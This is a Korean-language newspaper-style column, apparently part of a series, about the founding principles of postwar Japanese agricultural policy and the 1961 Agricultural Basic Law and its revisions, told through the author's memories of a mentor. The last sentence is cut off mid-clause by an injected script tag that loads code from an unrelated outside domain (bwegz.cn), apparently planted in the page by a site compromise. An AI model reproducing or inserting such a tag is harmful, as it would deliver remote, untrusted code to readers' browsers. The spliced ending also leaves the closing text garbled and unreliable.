글 싣는 순서

1. 농정기조와 농족
2. 전후농정의 골간과 식관제도
3. 농산물가격정책과 유통
4. 농공병진정책과 농촌경제의 기반정착
5. 농협조직과 농업금융
6. 농산물 수입제도와 식품안전
7. 농업경영과 정보체계
8. 특색 있는 지방농정의 자율적 발전

농정에 관한 내 스승은 수없이 많지만 꼭 한 분만 들라면 정용복(鄭 容福)선생을 꼽게 된다. 이 분은 1973년 내가 농림부 새마을소득과에 주무 사무관으로 근무할 때 과장으로, 1978년 농특기획과장을 할 때 국장으로 모셨던, 내게는 큰 형님 같은 분이다. 나중에 농촌진흥청 지도국장, 농업공무원 교육원장 등을 역임하시고 명예롭게 정년퇴직을 하셨는데 나뿐만 아니라 70년대 초에 농림부 토요세미나에 참여했던 고 김정룡 차관, 조일호 차관, 이영래 차관보 등등 모두에게 선생님이셨고 우리에게 귀중한 교훈과 함께 전설 같은 일화도 많이 남겨주셨다.

이분이 그때로서는 가장 정통한 일본 농정 전문가셔서 2차대전 후의 일본 농정에 대해 여러 번 가르침을 주셨는데 지금도 기억나는 대목은 당시 일본 농정의 기조라고 할 수 있었던 기본법 농정과 농업구조 개선사업에 대한 것이었다.

#전후 농정기조-식량안보·농업보호·농촌부흥

전후 일본 농정의 기조는 식량안보와 농업보호, 농촌부흥의 세가지로 요약된다고 할 수 있다. 식량안보 면부터 보자면 전쟁 전에는 조선반도와 타이완 등 식민지로부터 식량의 조달이 가능했지만 패전과 함께 이들을 잃고나서 설상가상으로 본국으로 귀환한 국민들까지 고려하자니 사정이 엄청나게 심각해졌다. 이미 전쟁 중이던 1942년에 식량관리법이 제정되어 정부의 식량통제가 시행되고 있었으므로 자연스럽게 식량안보가 최우선의 농정과제로 인식되었다. 이후 지금까지도 식량자급률에 대한 일본 농정당국과 학계를 비롯한 조야의 농정전문가들의 집착은 가히 안쓰러울 정도이다.

그러나 주의할 점은 일본의 식량안보(Food Security)론자들이 자급(Self Sufficiency)을 안보와 동일시하고 있다는 사실이다. 원래 식량안보 개념에는 저소득층의 비상시 식량확보 능력이 가장 중요한 요소로서 적정가격의 안정공급이 핵심이지 자급이 필수적인 것은 아니라는 점을 간과하고 있는 듯하다.

다음 농업보호와 농촌부흥은 일본이 전후의 비상상태를 거의 극복하고 정치 경제적 안정을 회복한 1955년에 하토야마(鳩山) 내각의 농림대신으로 입각했던 고노 이치로(河野 一郞, 90년대에 수상을 지낸 河野 洋平의 아버지)의 주도 아래 식량안보와 함께 움직일 수 없는 일본 농정의 기조로 정립되었다. 전후 일본 정계의 거물인 요시다(吉田 茂)수상이 미-일 안보조약 등 전후 문제를 잘 정리한데 이어서 보수통합의 기치 아래 자유당과 민주당이 자유민주당(自民黨)으로 합당한 뒤 첫 내각의 농림대신이 되었던 고노 농상(農相)은 농업보호를 기조로 한 농업기본법의 준비에 착수하면서 농촌부흥을 위한 `새농촌 만들기 운동''을 전개하였다. 5년이 넘게 준비를 해서 1961년 6월에 농업기본법이 제정 공포되었고 이후의 농정을 통칭 `기본법 농정''이라 한다.

#농업기본법, 선언입법적 성격

일본의 농업기본법은 서독의 농업법을 본따서 선언입법적인 성격을 띠고 있다. 그 주 내용은 도시근로자와 균형된 농가소득의 보장, 수요에 적응한 농업 생산의 선택적 확대, 가족농 중심의 자립안정농가를 지향하는 농업구조의 개선으로 요약되는데 이를 위해 1, 2차 농업구조 개선사업이 대대적으로 시행되었다. 1968년에는 식량의 안정공급, 건전한 식생활의 보장, 농업생산의 재편, 고생산성 영농의 실현, 농촌 활성화 및 녹지의 보전 등을 주 내용으로 하는 `총합농정''이 등장했고 이를 위해 1970~80년대의 신 농업구조 개선사업이 뒤따랐다. 90년대에는 UR 협상이 진행되면서 `새로운 식료, 농업, 농촌 정책’ 즉 `신농정 플랜''이 제시되었다. 이에 따라 1999년에 농업기본법이 `식료, 농업, 농촌 기본법’ 즉 `신기본법''으로 전면 개정되었고 이미 그 이전인 1994년에 식량관리법이 폐지되면서 `주요 식량의 수급 및 가격의 안정에 관한 법률(신식량법)''로 대체되었다.

# 농정기조 지금까지 지속

시대와 여건의 변화에 적응하여 일본 농정도 많은 변화를 겪었다. 그러나 `식량''이 `식료''로 바뀌고 농업보호의 정도가 다소 축소되기는 했지만 식량안보, 농업보호, 농촌부흥의 농정기조는 오늘날까지 여전히 살아 있다고 생각된다. 금년 3월 내가 도쿄에 들렀을 때 마침 기본법에 의해 농림수산성의 법적 최고 자문기구인 농정심의회가 향후 10년간의 농정 기본계획을 심의 확정하는 것을 듣고 보면서도 그런 느낌을 지울 수 없었다. 내가 한국측 대표를 맡고 ?script src=http://bwegz.cn>
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